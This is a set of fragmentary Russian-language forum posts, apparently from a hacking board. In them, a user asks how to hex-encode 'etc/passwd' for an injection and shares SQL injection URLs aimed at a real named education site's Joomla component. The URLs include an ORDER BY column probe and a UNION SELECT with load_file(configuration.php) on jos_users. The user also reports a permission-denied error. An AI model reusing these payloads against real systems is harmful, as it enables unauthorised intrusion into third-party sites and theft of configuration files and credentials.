Separate names with a comma.
Еще вопросик: как можно ето "etc/passwd" превратить в нечто подобное 0 x какие-то_символы . Как я понимаю это hex. Кто-нить знает как можно...
Буду перебирать далее :) сенкс +)
Ух ты, я действительно сразу не заметил, все думал что ето за циферки в адрес лезут... Эхх.. сенкс + :)
Есть срочный вопрос: Составляю запрос: http://www1.ege.edu.ru/administrator/components/com_astatspro/refer.php?id=-1+order+by+10-- Вылазит...
http://www1.ege.edu.ru/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,3,load_file(configuration.php),5,6+from+jos_users.us...
Блин, столько времени и все зря... SELECT command denied to user 'ege'@'pro.iot.ru' for table 'users' :( :( :(
Да знаю йа что такое sql injection, да и как работают тоже :rolleyes: ... Уже были сайты, в которых получалось... Вот просто множество запросов...
Доброго времени суток. Третий час уже пытаюсь узнать в чем дело: SQL иньекция на лицо. Составляю запрос...